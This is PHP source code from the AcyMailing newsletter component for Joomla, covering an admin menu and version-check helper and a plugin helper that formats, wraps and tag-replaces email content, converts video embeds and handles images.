			$menu .= '<li class="mainelement'.$sel.'" id="mainelement'.$id.'"><span onclick="acyToggleClass(\'mainelement'.$id.'\',\'opened\');"><a '.(!empty($submenu[$id]) ? 'href="#" onclick="return false;"' : 'href="'.$oneMenu[1].'"').' ><i class="'.$oneMenu[2].'"></i><span class="subtitle">'.$oneMenu[0].'</span>'.(!empty($submenu[$id]) ? '<i class="acyicon-down"></i>' : '').'</a></span>';
			if(!empty($submenu[$id])){
				$menu .= '<ul>';
				foreach($submenu[$id] as $subelement){
					$menu .= '<li class="acysubmenu" ><a class="acysubmenulink" href="'.$subelement[1].'" title="'.$subelement[0].'"><i class="'.$subelement[2].'"></i><span>'.$subelement[0].'</span></a></li>';
				}
				$menu .= '</ul>';
			}
			$menu .= '</li>';
		}
		$menu .= '<li class="mainelement" id="mainelementmyacymailing">';
		$menu .= '<div id="myacymailingarea" class="myacymailingarea">'; //DO NOT CHANGE THIS ID! we use it for ajax things...
		$menu .= $this->myacymailingarea();
		$menu .= '</div>'; //End of acymailing myacymailingarea

		$menu .= '</li>';
		$menu .= '</ul>';
		$menu .= '</div>'; //end of acymenu_mainmenus
		$menu .= '</div>'; //end of acymenu_leftside

		return $menu;
	}

	public function myacymailingarea(){
		$config = acymailing_config();
		if(!acymailing_isAllowed($config->get('acl_configuration_manage', 'all'))){
			return '';
		}
		$this->_addAjaxScript();


		$menu = '<div id="myacymailing_level">'.ACYMAILING_NAME.' '.$config->get('level').' : '.$config->get('version').'</div><div id="myacymailing_version">';

		$currentVersion = $config->get('version', '');
		$latestVersion = $config->get('latestversion', '');
		$versionPlugin = $config->get('pluginNeedUpdate', '');

		if(($currentVersion >= $latestVersion) && empty($versionPlugin)){
			$menu .= '<div class="acyversion_uptodate myacymailingbuttons">'.acymailing_translation('ACY_LATEST_VERSION_OK').'</div>';
		}elseif(!empty($versionPlugin) && $currentVersion >= $latestVersion){ // If there is a new plugin version
			$menu .= '<div class="acyversion_needtoupdate myacymailingbuttons"><a onclick="onButtonNewVersionPlugin()" class="acy_updateversion" href="'.acymailing_completeLink('cpanel#config_plugins').'" ><i class="acyicon-import"></i>'.acymailing_translation('ACY_PLUGIN_NEED_UPDATE').'</a></div>';
		}elseif(!empty($latestVersion)){
			$menu .= '<div class="acyversion_needtoupdate myacymailingbuttons"><a class="acy_updateversion" href="'.ACYMAILING_REDIRECT.'update-acymailing-'.$config->get('level').'" target="_blank"><i class="acyicon-import"></i>'.acymailing_translation_sprintf('ACY_UPDATE_NOW', $latestVersion).'</a></div>';
		}

		$menu .= '</div>';

		if(acymailing_level(1)){
			$expirationDate = $config->get('expirationdate', '');

			if(empty($expirationDate) || $expirationDate == -1){
				$menu .= '<div id="myacymailing_expiration"></div>';
			}elseif($expirationDate == -2){
				$menu .= '<div id="myacymailing_expiration"><div class="acylicence_expired"><span style="color:#c2d5f3; line-height: 16px;">'.acymailing_translation('ACY_ATTACH_LICENCE').' :</span><div><a class="acy_attachlicence myacymailingbuttons" href="'.ACYMAILING_REDIRECT.'acymailing-assign" target="_blank"><i class="acyicon-attach"></i>'.acymailing_translation('ACY_ATTACH_LICENCE_BUTTON').'</a></div></div></div>';
			}elseif($expirationDate < time()){
				$menu .= '<div id="myacymailing_expiration"><div class="acylicence_expired"><span class="acylicenceinfo">'.acymailing_translation('ACY_SUBSCRIPTION_EXPIRED').'</span><a class="acy_subscriptionexpired myacymailingbuttons" href="'.ACYMAILING_REDIRECT.'renew-acymailing-'.$config->get('level').'" target="_blank"><i class="acyicon-renew"></i>'.acymailing_translation('ACY_SUBSCRIPTION_EXPIRED_LINK').'</a></div></div>';
			}else{
				$menu .= '<div id="myacymailing_expiration"><div class="acylicence_valid myacymailingbuttons"><span class="acy_subscriptionok">'.acymailing_translation('ACY_VALID_UNTIL').' : '.acymailing_getDate($expirationDate, acymailing_translation('DATE_FORMAT_LC4')).'</span></div></div>';
			}
		}

		$menu .= '<div class="myacymailingbuttons"><button onclick="checkForNewVersion()"><i class="acyicon-search"></i>'.acymailing_translation('ACY_CHECK_MY_VERSION').'</button></div>';

		return $menu;
	}

	private function _addAjaxScript(){

		$script = "function checkForNewVersion(){
			document.getElementById('myacymailingarea').innerHTML = '<span class=\"onload spinner2\"></span>';
			
			var xhr = new XMLHttpRequest();
			xhr.open('POST', '".acymailing_prepareAjaxURL('update')."&task=checkForNewVersion');
			xhr.onload = function(){
				response = JSON.parse(xhr.responseText);
				document.getElementById('myacymailingarea').innerHTML = response.content;
			};
			xhr.send();
		}";

		$config = acymailing_config();
		$lastlicensecheck = $config->get('lastlicensecheck', '');
		if(empty($lastlicensecheck) || $lastlicensecheck < (time() - 604800)){
			$script .= 'window.addEventListener("load", function(){
				checkForNewVersion();
			});';
		}

		acymailing_addScript(true, $script);
	}
}

com_acymailing/helpers/acyplugins.php000060400000071467152455305300014065 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class acypluginsHelper{

	public $wraped = false;
	public $name = 'content';

	function getFormattedResult($elements, $parameter){
		if(count($elements) < 2) return implode('', $elements);

		$beforeAll = array();
		$beforeAll['table'] = '<table cellspacing="0" cellpadding="0" border="0" width="100%" class="elementstable">'."\n";
		$beforeAll['ul'] = '<ul class="elementsul">'."\n";
		$beforeAll['br'] = '';

		$beforeBlock = array();
		$beforeBlock['table'] = '<tr class="elementstable_tr numrow{rownum}">'."\n";
		$beforeBlock['ul'] = '';
		$beforeBlock['br'] = '';

		$beforeOne = array();
		$beforeOne['table'] = '<td valign="top" width="{equalwidth}" class="elementstable_td numcol{numcol}" >'."\n";
		$beforeOne['ul'] = '<li class="elementsul_li numrow{rownum}">'."\n";
		$beforeOne['br'] = '';

		$afterOne = array();
		$afterOne['table'] = '</td>'."\n";
		$afterOne['ul'] = '</li>'."\n";
		$afterOne['br'] = '<br />'."\n";

		$afterBlock = array();
		$afterBlock['table'] = '</tr>'."\n";
		$afterBlock['ul'] = '';
		$afterBlock['br'] = '';

		$afterAll = array();
		$afterAll['table'] = '</table>'."\n";
		$afterAll['ul'] = '</ul>'."\n";
		$afterAll['br'] = '';


		$type = 'table';
		$cols = 1;
		if(!empty($parameter->displaytype)) $type = $parameter->displaytype;
		if($type == 'none') return implode('', $elements);
		if(!empty($parameter->cols)) $cols = $parameter->cols;

		$string = $beforeAll[$type];
		$a = 0;
		$numrow = 1;
		foreach($elements as $oneElement){
			if($a == $cols){
				$string .= $afterBlock[$type];
				$a = 0;
			}
			if($a == 0){
				$string .= str_replace('{rownum}', $numrow, $beforeBlock[$type]);
				$numrow++;
			}
			$string .= str_replace('{numcol}', $a + 1, $beforeOne[$type]).$oneElement.$afterOne[$type];
			$a++;
		}
		while($cols > $a){
			$string .= str_replace('{numcol}', $a + 1, $beforeOne[$type]).$afterOne[$type];
			$a++;
		}

		$string .= $afterBlock[$type];
		$string .= $afterAll[$type];

		$equalwidth = intval(100 / $cols).'%';

		$string = str_replace(array('{equalwidth}'), array($equalwidth), $string);

		return $string;
	}

	function formatString(&$replaceme, $mytag){
		if(!empty($mytag->part)){
			$parts = explode(' ', $replaceme);
			if($mytag->part == 'last'){
				$replaceme = count($parts) > 1 ? end($parts) : '';
			}else{
				if(is_numeric($mytag->part) && count($parts) >= $mytag->part){
					$replaceme = $parts[$mytag->part - 1];
				}else{
					$replaceme = reset($parts);
				}
			}
		}

		if(!empty($mytag->type)){
			if(empty($mytag->format)) $mytag->format = acymailing_translation('DATE_FORMAT_LC3');
			if($mytag->type == 'date'){
				$replaceme = acymailing_getDate(acymailing_getTime($replaceme), $mytag->format);
			}elseif($mytag->type == 'time'){
				$replaceme = acymailing_getDate($replaceme, $mytag->format);
			}elseif($mytag->type == 'diff'){
				try{
					$date = $replaceme;
					if(is_numeric($date)) $date = acymailing_getDate($replaceme, '%Y-%m-%d %H:%M:%S');
					$dateObj = new DateTime($date);
					$nowObj = new DateTime();
					$diff = $dateObj->diff($nowObj);
					$replaceme = $diff->format($mytag->format);
				}catch(Exception $e){
					$replaceme = 'Error using the "diff" parameter in your tag. Please make sure the DateTime() and diff() functions are available on your server.';
				}
			}
		}

		if(!empty($mytag->lower) || !empty($mytag->lowercase)) $replaceme = function_exists('mb_strtolower') ? mb_strtolower($replaceme, 'UTF-8') : strtolower($replaceme);
		if(!empty($mytag->upper) || !empty($mytag->uppercase)) $replaceme = function_exists('mb_strtoupper') ? mb_strtoupper($replaceme, 'UTF-8') : strtoupper($replaceme);
		if(!empty($mytag->ucwords)) $replaceme = ucwords($replaceme);
		if(!empty($mytag->ucfirst)) $replaceme = ucfirst($replaceme);
		if(isset($mytag->rtrim)) $replaceme = empty($mytag->rtrim) ? rtrim($replaceme) : rtrim($replaceme, $mytag->rtrim);
		if(!empty($mytag->urlencode)) $replaceme = urlencode($replaceme);
		if(!empty($mytag->substr)){
			$args = explode(',', $mytag->substr);
			if(isset($args[1])){
				$replaceme = substr($replaceme, intval($args[0]), intval($args[1]));
			}else{
				$replaceme = substr($replaceme, intval($args[0]));
			}
		}


		if(!empty($mytag->maxheight) || !empty($mytag->maxwidth)){
			$pictureHelper = acymailing_get('helper.acypict');
			$pictureHelper->maxHeight = empty($mytag->maxheight) ? 999 : $mytag->maxheight;
			$pictureHelper->maxWidth = empty($mytag->maxwidth) ? 999 : $mytag->maxwidth;
			$replaceme = $pictureHelper->resizePictures($replaceme);
		}
	}

	function replaceVideos($text){
		$text = preg_replace('#\[embed=videolink][^}]*youtube[^=]*=([^"/}]*)[^}]*}\[/embed]#i', '<a target="_blank" href="http://www.youtube.com/watch?v=$1"><img src="http://img.youtube.com/vi/$1/0.jpg"/></a>', $text);
		$text = preg_replace('#<video[^>]*youtube\.com/embed/([^"/]*)[^>]*>[^>]*</video>#i', '<a target="_blank" href="http://www.youtube.com/watch?v=$1"><img src="http://img.youtube.com/vi/$1/0.jpg"/></a>', $text);
		$text = preg_replace('#{JoooidContent[^}]*youtube[^}]*id"[^"]*"([^}"]*)"[^}]*}#i', '<a target="_blank" href="http://www.youtube.com/watch?v=$1"><img src="http://img.youtube.com/vi/$1/0.jpg"/></a>', $text);
		$text = preg_replace('#<iframe[^>]*src="[^"]*youtube[^"]*embed/([^"?]*)(\?[^"]*)?"[^>]*>[^<]*</iframe>#Uis', '<a target="_blank" href="http://www.youtube.com/watch?v=$1"><img src="http://img.youtube.com/vi/$1/0.jpg"/></a>', $text);
		$text = preg_replace('#{vimeo}([^{]+){/vimeo}#Uis', '<iframe src="https://player.vimeo.com/video/$1"></iframe>', $text);

		if(preg_match_all('#<iframe[^>]*src="([^"]*vimeo[^"]*)"[^>]*>[^<]*</iframe>#Uis', $text, $matches)){
			foreach($matches[1] as $key => $match){
				if(substr($matches[1][0], 0, 2) == '//') $matches[1][0] = 'https:'.$matches[1][0];
				$xml = acymailing_fileGetContent('https://vimeo.com/api/oembed.json?url='.urlencode($matches[1][0]));
				if(empty($xml)) continue;

				$xml = json_decode($xml);
				if(strpos($matches[0][$key], ' width="') !== false){
					$extension = substr($xml->thumbnail_url, strrpos($xml->thumbnail_url, '.'));
					preg_match('#width="([^"]*)"#Uis', $matches[0][$key], $width);

					$replace = strpos($xml->thumbnail_url, '_') === false ? '.' : '_';
					$xml->thumbnail_url = substr($xml->thumbnail_url, 0, strrpos($xml->thumbnail_url, $replace)).'_'.$width[1].$extension;
					$xml->thumbnail_url_with_play_button = 'https://i.vimeocdn.com/filter/overlay?src='.$xml->thumbnail_url.'&src=http://f.vimeocdn.com/p/images/crawler_play.png';
				}
				$text = str_replace($matches[0][$key], '<a target="_blank" href="'.($matches[1][0]).'"><img class="donotresize" alt="" src="'.($xml->thumbnail_url_with_play_button).'" /></a>', $text);
			}
		}

		$text = preg_replace('#\[embed=videolink][^}]*video":"([^"]*)[^}]*}\[/embed]#i', '<a target="_blank" href="$1"><img src="'.ACYMAILING_IMAGES.'/video.png"/></a>', $text);
		$text = preg_replace('#<video[^>]*src="([^"]*)"[^>]*>[^>]*</video>#i', '<a target="_blank" href="$1"><img src="'.ACYMAILING_IMAGES.'/video.png"/></a>', $text);
		return $text;
	}

	function removeJS($text){
		$text = preg_replace("#(onmouseout|onmouseover|onclick|onfocus|onload|onblur) *= *\"(?:(?!\").)*\"#iU", '', $text);
		$text = preg_replace("#< *script(?:(?!< */ *script *>).)*< */ *script *>#isU", '', $text);
		return $text;
	}

	private function _convertbase64pictures(&$html){
		if(!preg_match_all('#<img[^>]*src=("data:image/([^;]{1,5});base64[^"]*")([^>]*)>#Uis', $html, $resultspictures)) return;

		

		$dest = ACYMAILING_MEDIA.'resized'.DS;
		acymailing_createDir($dest);
		foreach($resultspictures[2] as $i => $extension){
			$pictname = md5($resultspictures[1][$i]).'.'.$extension;
			$picturl = ACYMAILING_LIVE.ACYMAILING_MEDIA_FOLDER.'/resized/'.$pictname;
			$pictPath = $dest.$pictname;
			$pictCode = trim($resultspictures[1][$i], '"');
			if(file_exists($pictPath)){
				$html = str_replace($pictCode, $picturl, $html);
				continue;
			}

			$getfunction = '';
			switch($extension){
				case 'gif':
					$getfunction = 'ImageCreateFromGIF';
					break;
				case 'jpg':
				case 'jpeg':
					$getfunction = 'ImageCreateFromJPEG';
					break;
				case 'png':
					$getfunction = 'ImageCreateFromPNG';
					break;
			}

			if(empty($getfunction) || !function_exists($getfunction)) continue;

			$img = $getfunction($pictCode);

			if(in_array($extension, array('gif', 'png'))){
				imagealphablending($img, false);
				imagesavealpha($img, false);
			}

			ob_start();
			switch($extension){
				case 'gif':
					$status = imagegif($img);
					break;
				case 'jpg':
				case 'jpeg':
					$status = imagejpeg($img, null, 100);
					break;
				case 'png':
					$status = imagepng($img, null, 1);
					break;
			}
			$imageContent = ob_get_clean();
			$status = $status && acymailing_writeFile($pictPath, $imageContent);

			if(!$status) continue;
			$html = str_replace($pictCode, $picturl, $html);
		}
	}

	private function _lineheightfix(&$html){
		$pregreplace = array();
		$pregreplace['#<tr([^>"]*>([^<]*<td[^>]*>[ \n\s]*<img[^>]*>[ \n\s]*</ *td[^>]*>[ \n\s]*)*</ *tr)#Uis'] = '<tr style="line-height: 0px;" $1';
		$pregreplace['#<td(((?!style|>).)*>[ \n\s]*(<a[^>]*>)?[ \n\s]*<img[^>]*>[ \n\s]*(</a[^>]*>)?[ \n\s]*</ *td)#Uis'] = '<td style="line-height: 0px;" $1';

		$newbody = preg_replace(array_keys($pregreplace), $pregreplace, $html);
		if(!empty($newbody)) $html = $newbody;
	}

	private function _removecontenttags(&$html){
		$pregreplace = array();
		$pregreplace['#{tab[ =][^}]*}#is'] = '';
		$pregreplace['#{/tabs}#is'] = '';
		$pregreplace['#{jcomments\s+(on|off|lock)}#is'] = '';
		$newbody = preg_replace(array_keys($pregreplace), $pregreplace, $html);
		if(!empty($newbody)) $html = $newbody;
	}

	function cleanHtml(&$html){

		$this->_lineheightfix($html);
		$this->_removecontenttags($html);
		$this->_convertbase64pictures($html);
		$this->cleanEditorCode($html);
		$this->_removeEditorFromTemplate($html);
	}

	public function fixPictureDim(&$html){
		if(!preg_match_all('#(<img)([^>]*>)#i', $html, $results)) return;

		static $replace = array();
		foreach($results[0] as $num => $oneResult){
			if(isset($replace[$oneResult])) continue;

			if(strpos($oneResult, 'width=') || strpos($oneResult, 'height=')) continue;
			if(preg_match('#[^a-z_\-]width *:([0-9 ]{1,8})#i', $oneResult, $res) || preg_match('#[^a-z_\-]height *:([0-9 ]{1,8})#i', $oneResult, $res)) continue;

			if(!preg_match('#src="([^"]*)"#i', $oneResult, $url)) continue;

			$imageUrl = $url[1];

			$replace[$oneResult] = $oneResult;

			$base = str_replace(array('http://www.', 'https://www.', 'http://', 'https://'), '', ACYMAILING_LIVE);
			$replacements = array('https://www.'.$base, 'http://www.'.$base, 'https://'.$base, 'http://'.$base);
			$localpict = false;
			foreach($replacements as $oneReplacement){
				if(strpos($imageUrl, $oneReplacement) === false) continue;
				$imageUrl = str_replace(array($oneReplacement, '/'), array(ACYMAILING_ROOT, DS), urldecode($imageUrl));
				$localpict = true;
				break;
			}

			if(!$localpict) continue;

			$dim = @getimagesize($imageUrl);
			if(!$dim) continue;
			if(empty($dim[0]) || empty($dim[1])) continue;

			$replace[$oneResult] = str_replace('<img', '<img width="'.$dim[0].'" height="'.$dim[1].'"', $oneResult);
		}

		if(empty($replace)) return;

		$html = str_replace(array_keys($replace), $replace, $html);
	}

	private function cleanEditorCode(&$html){
		if(!strpos($html, 'cke_edition_en_cours')) return;

		$html = preg_replace('#<div[^>]*cke_edition_en_cours.*$#Uis', '', $html);
	}

	private function _removeEditorFromTemplate(&$html){
		if(strpos($html, 'acyeditor_sharedspace') == -1) return;
		$html = preg_replace('#<div .* class="acyeditor_sharedspace".*><\/div>#', '', $html);
	}

	function replaceTags(&$email, &$tags, $html = false){
		if(empty($tags)) return;

		$htmlVars = array('body');
		$textVars = array('altbody');
		$lineVars = array('subject', 'From', 'FromName', 'ReplyTo', 'ReplyName', 'bcc', 'cc', 'fromname', 'fromemail', 'replyname', 'replyemail', 'params');

		$variables = array_merge($htmlVars, $textVars, $lineVars);

		if($html){
			if(empty($this->mailerHelper)) $this->mailerHelper = acymailing_get('helper.mailer');

			$textreplace = array();
			$linereplace = array();
			foreach($tags as $i => &$params){
				if(isset($textreplace[$i])) continue;
				$textreplace[$i] = $this->mailerHelper->textVersion($params, true);
				$linereplace[$i] = strip_tags(preg_replace('#</tr>[^<]*<tr[^>]*>#Uis', ' | ', $params));
			}

			$htmlKeys = array_keys($tags);
			$lineKeys = array_keys($linereplace);
			$textKeys = array_keys($textreplace);
		}else{
			$textreplace = &$tags;
			$linereplace = &$tags;
			$htmlKeys = array_keys($tags);
			$lineKeys = &$htmlKeys;
			$textKeys = &$htmlKeys;
		}

		foreach($variables as &$var){
			if(empty($email->$var)) continue;

			if(is_array($email->$var)){
				foreach($email->$var as $i => &$arrayField){
					if(empty($arrayField)) continue;

					if(is_array($arrayField)){
						foreach($arrayField as $a => &$oneval){
							if(in_array($var, $htmlVars)){
								$oneval = str_replace($htmlKeys, $tags, $oneval);
							}elseif(in_array($var, $lineVars)){
								$oneval = str_replace($lineKeys, $linereplace, $oneval);
							}else{
								$oneval = str_replace($textKeys, $textreplace, $oneval);
							}
						}
					}else{
						if(in_array($var, $htmlVars)){
							$arrayField = str_replace($htmlKeys, $tags, $arrayField);
						}elseif(in_array($var, $lineVars)){
							$arrayField = str_replace($lineKeys, $linereplace, $arrayField);
						}else{
							$arrayField = str_replace($textKeys, $textreplace, $arrayField);
						}
					}
				}
			}else{
				if(in_array($var, $htmlVars)){
					$email->$var = str_replace($htmlKeys, $tags, $email->$var);
				}elseif(in_array($var, $lineVars)){
					$email->$var = str_replace($lineKeys, $linereplace, $email->$var);
				}else{
					$email->$var = str_replace($textKeys, $textreplace, $email->$var);
				}
			}
		}
	}

	function extractTags(&$email, $tagfamily){
		$results = array();

		$match = '#(?:{|%7B)'.$tagfamily.'(?:%3A|\\:)(.*)(?:}|%7D)#Ui';
		$variables = array('subject', 'body', 'altbody', 'From', 'FromName', 'ReplyTo', 'ReplyName', 'bcc', 'cc', 'fromname', 'fromemail', 'replyname', 'replyemail', 'params');
		$found = false;
		foreach($variables as &$var){
			if(empty($email->$var)) continue;
			if(is_array($email->$var)){
				foreach($email->$var as $i => &$arrayField){
					if(empty($arrayField)) continue;
					if(is_array($arrayField)){
						foreach($arrayField as $a => &$oneval){
							$found = preg_match_all($match, $oneval, $results[$var.$i.'-'.$a]) || $found;
							if(empty($results[$var.$i.'-'.$a][0])) unset($results[$var.$i.'-'.$a]);
						}
					}else{
						$found = preg_match_all($match, $arrayField, $results[$var.$i]) || $found;
						if(empty($results[$var.$i][0])) unset($results[$var.$i]);
					}
				}
			}else{
				$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
				if(empty($results[$var][0])) unset($results[$var]);
			}
		}

		if(!$found) return array();

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$tags[$oneTag] = $this->extractTag($allresults[1][$i]);
			}
		}

		return $tags;
	}

	function extractTag($oneTag){
		$arguments = explode('|', strip_tags(urldecode($oneTag)));
		$tag = new stdClass();
		$tag->id = $arguments[0];
		$tag->default = '';
		for($i = 1, $a = count($arguments); $i < $a; $i++){
			$args = explode(':', $arguments[$i]);
			$arg0 = trim($args[0]);
			if(empty($arg0)) continue;
			if(isset($args[1])){
				$tag->$arg0 = $args[1];
				if(isset($args[2])) $tag->{$args[0]} .= ':'.$args[2];
			}else{
				$tag->$arg0 = true;
			}
		}
		return $tag;
	}

	function wrapText($text, $tag){

		$this->wraped = false;

		if(!empty($tag->wrap)) $tag->wrap = intval($tag->wrap);
		if(empty($tag->wrap)) return $text;

		$allowedTags = array();
		$allowedTags[] = 'b';
		$allowedTags[] = 'strong';
		$allowedTags[] = 'i';
		$allowedTags[] = 'em';
		$allowedTags[] = 'a';

		$aloneAllowedTags = array();
		$aloneAllowedTags[] = 'br';
		$aloneAllowedTags[] = 'img';

		$newText = preg_replace('/<p[^>]*>/i', '<br />', $text);
		$newText = preg_replace('/<div[^>]*>/i', '<br />', $newText);
		$newText = strip_tags($newText, '<'.implode('><', array_merge($allowedTags, $aloneAllowedTags)).'>');

		$newText = preg_replace('/^(\s|\n|(<br[^>]*>))+/i', '', trim($newText));
		$newText = preg_replace('/(\s|\n|(<br[^>]*>))+$/i', '', trim($newText));

		$newText = str_replace(array('&lt', '&gt'), array('<', '>'), $newText);

		$numChar = strlen($newText);

		$numCharStrip = strlen(strip_tags($newText));

		if($numCharStrip <= $tag->wrap) return $newText;

		$this->wraped = true;

		$open = array();

		$write = true;

		$countStripChar = 0;

		for($i = 0; $i < $numChar; $i++){
			if($newText[$i] == '<'){
				foreach($allowedTags as $oneAllowedTag){
					if($numChar >= ($i + strlen($oneAllowedTag) + 1) && substr($newText, $i, strlen($oneAllowedTag) + 1) == '<'.$oneAllowedTag && (in_array($newText[$i + strlen($oneAllowedTag) + 1], array(' ', '>')))){
						$write = false;
						$open[] = '</'.$oneAllowedTag.'>';
					}

					if($numChar >= ($i + strlen($oneAllowedTag) + 2) && substr($newText, $i, strlen($oneAllowedTag) + 2) == '</'.$oneAllowedTag){
						if(end($open) == '</'.$oneAllowedTag.'>') array_pop($open);
					}
				}

				foreach($aloneAllowedTags as $oneAllowedTag){
					if($numChar >= ($i + strlen($oneAllowedTag) + 1) && substr($newText, $i, strlen($oneAllowedTag) + 1) == '<'.$oneAllowedTag && (in_array($newText[$i + strlen($oneAllowedTag) + 1], array(' ', '/', '>')))){
						$write = false;
					}
				}
			}

			if($write) $countStripChar++;

			if($newText[$i] == ">") $write = true;

			if($newText[$i] == " " && $countStripChar >= $tag->wrap && $write){
				$newText = substr($newText, 0, $i).'...';

				$open = array_reverse($open);
				$newText = $newText.implode('', $open);

				break;
			}
		}

		$newText = preg_replace('/^(\s|\n|(<br[^>]*>))+/i', '', trim($newText));
		$newText = preg_replace('/(\s|\n|(<br[^>]*>))+$/i', '', trim($newText));

		return $newText;
	}

	function getStandardDisplay($format){
		if(empty($format->tag->format)) $format->tag->format = 'TOP_LEFT';
		if(!in_array($format->tag->format, array('TOP_LEFT', 'TOP_RIGHT', 'TITLE_IMG', 'TITLE_IMG_RIGHT', 'CENTER_IMG', 'TOP_IMG', 'COL_LEFT', 'COL_RIGHT'))) return 'Wrong format suppied: '.$format->tag->format;

		$invertValues = array('TOP_LEFT' => 'TOP_RIGHT', 'TITLE_IMG' => 'TITLE_IMG_RIGHT', 'COL_LEFT' => 'COL_RIGHT', 'TOP_RIGHT' => 'TOP_LEFT', 'TITLE_IMG_RIGHT' => 'TITLE_IMG', 'COL_RIGHT' => 'COL_LEFT');
		if(!empty($format->tag->invert) && !empty($invertValues[$format->tag->format])) $format->tag->format = $invertValues[$format->tag->format];

		$image = '';
		if(!empty($format->imagePath)){
			$style = '';
			if(in_array($format->tag->format, array('TOP_LEFT', 'TITLE_IMG'))){
				$style = ' style="float:left;"';
			}elseif(in_array($format->tag->format, array('TOP_RIGHT', 'TITLE_IMG_RIGHT'))){
				$style = ' style="float:right;"';
			}
			$image = '<img alt="" src="'.$format->imagePath.'"'.$style.' />';
		}

		$result = '';
		if($format->tag->format == 'TITLE_IMG' || $format->tag->format == 'TITLE_IMG_RIGHT'){
			$format->title = $image.$format->title;
			$image = '';
		}

		if(!empty($format->link) && !empty($image)) $image = '<a target="_blank" href="'.$format->link.'" '.$style.'>'.$image.'</a>';

		if($format->tag->format == 'TOP_IMG' && !empty($image)){
			$result = $image;
			$image = '';
		}

		if(in_array($format->tag->format, array('COL_LEFT', 'COL_RIGHT'))){
			if(empty($image)){
				$format->tag->format = 'TOP_LEFT';
			}else{
				$result = '<table><tr><td valign="top" class="acyleftcol">';
				if($format->tag->format == 'COL_LEFT') $result .= $image.'</td><td valign="top" class="acyrightcol">';
			}
		}

		if(!empty($format->title)){
			if(!empty($format->link)) $format->title = '<a'.(!empty($format->tag->type) && $format->tag->type == 'title' ? ' class="acymailing_title"' : '').' href="'.$format->link.'" target="_blank" name="'.$this->name.'-'.$format->tag->id.'">'.$format->title.'</a>';
			if(empty($format->tag->type) || $format->tag->type != 'title') $format->title = '<h2 class="acymailing_title">'.$format->title.'</h2>';
			$result .= $format->title;
		}

		if(!empty($format->afterTitle)) $result .= $format->afterTitle;
		if(!empty($format->description)) $format->description = $this->wrapText($format->description, $format->tag);


		$rowText = '<div class="acydescription">';
		$endRow = '</div><br />';
		if(in_array($format->tag->format, array('TOP_LEFT', 'TOP_RIGHT', 'TITLE_IMG', 'TITLE_IMG_RIGHT', 'TOP_IMG'))){
			if(!empty($image) || !empty($format->description)) $result .= $rowText.$image.$format->description.$endRow;
		}elseif($format->tag->format == 'CENTER_IMG'){
			if(!empty($image)) $result .= '<div class="acymainimage">'.$image.$endRow;
			if(!empty($format->description)) $result .= $rowText.$format->description.$endRow;
		}elseif(in_array($format->tag->format, array('COL_LEFT', 'COL_RIGHT'))){
			if(!empty($format->description)) $result .= $rowText.$format->description.$endRow;
			if($format->tag->format == 'COL_RIGHT') $result .= '</td><td valign="top" class="acyrightcol">'.$image;
			$result .= '</td></tr></table>';
		}

		if(!empty($format->customFields)){
			$result .= '<table style="width:100%;" class="customfieldsarea"><tr>';

			if(empty($format->cols)) $format->cols = 1;
			$i = 0;
			foreach($format->customFields as $oneField){
				if($i != 0 && $i % $format->cols == 0) $result .= '</tr><tr>';
				$result .= '<td nowrap="nowrap" class="';
				if(empty($oneField[0])){
					$result .= 'cfvalue" colspan="2">';
				}else{
					$result .= 'cflabel">'.$oneField[0].'</td><td class="cfvalue">';
				}
				$result .= $oneField[1].'</td>';
				$i++;
			}

			while($i % $format->cols != 0){
				$result .= '<td colspan="2"></td>';
				$i++;
			}

			$result .= '</tr></table>';
		}

		if(!empty($format->afterArticle)) $result .= $format->afterArticle;

		return $result;
	}

	function managePicts($tag, $result){
		if(!isset($tag->pict)) return $result;

		$pictureHelper = acymailing_get('helper.acypict');
		if($tag->pict === 'resized'){
			$pictureHelper->maxHeight = empty($tag->maxheight) ? 150 : $tag->maxheight;
			$pictureHelper->maxWidth = empty($tag->maxwidth) ? 150 : $tag->maxwidth;
			if($pictureHelper->available()){
				$result = $pictureHelper->resizePictures($result);
			}elseif(acymailing_isAdmin()){
				acymailing_enqueueMessage($pictureHelper->error, 'notice');
			}
		}elseif($tag->pict == '0'){
			$result = $pictureHelper->removePictures($result);
		}

		return $result;
	}

	function getOrderingField($values, $ordering, $direction, $function = 'updateTagAuto'){
		$orderingValues = array();
		foreach($values as $value => $title){
			$orderingValues[] = acymailing_selectOption($value, acymailing_translation($title));
		}
		$orderingValues[] = acymailing_selectOption("rand", acymailing_translation('ACY_RANDOM'));

		$orderingDirections = array();
		$orderingDirections[] = acymailing_selectOption("DESC", 'DESC');
		$orderingDirections[] = acymailing_selectOption("ASC", 'ASC');

		return acymailing_select($orderingValues, 'contentorder', 'size="1" onchange="'.$function.'();" style="width:100px;"', 'value', 'text', $ordering).' '.acymailing_select($orderingDirections, 'contentorderdir', 'size="1" onchange="'.$function.'();" style="width:80px;"', 'value', 'text', $direction);
	}

	function translateItem(&$item, &$tag, $referenceTable, $referenceId = 0){
		if(empty($tag->lang) || (!file_exists(ACYMAILING_ROOT.'components'.DS.'com_falang') && !file_exists(ACYMAILING_ROOT.'components'.DS.'com_joomfish'))) return;
		$langid = (int)substr($tag->lang, strpos($tag->lang, ',') + 1);

		if(empty($langid)) return;

		if(empty($referenceId)) $referenceId = $tag->id;
		$table = (ACYMAILING_J16 && file_exists(ACYMAILING_ROOT.'components'.DS.'com_falang')) ? '`#__falang_content`' : '`#__jf_content`';
		$query = "SELECT reference_field, value FROM ".$table." WHERE `published` = 1 AND `reference_table` = ".acymailing_escapeDB($referenceTable)." AND `language_id` = $langid AND `reference_id` = ".$referenceId;
		$translations = acymailing_loadObjectList($query);

		if(empty($translations)) return;

		foreach($translations as $oneTranslation){
			if(empty($oneTranslation->value)) continue;
			$translatedfield = $oneTranslation->reference_field;
			$item->$translatedfield = $oneTranslation->value;
		}
	}

	function getFormatOption($plugin, $default = 'TOP_LEFT', $singleElement = true, $function = 'updateTag'){
		$contentformat = array('TOP_LEFT' => '-208', 'TOP_RIGHT' => '-260', 'TITLE_IMG' => '0', 'TITLE_IMG_RIGHT' => '-52', 'CENTER_IMG' => '-104', 'TOP_IMG' => '-156', 'COL_LEFT' => '-312', 'COL_RIGHT' => '-364');

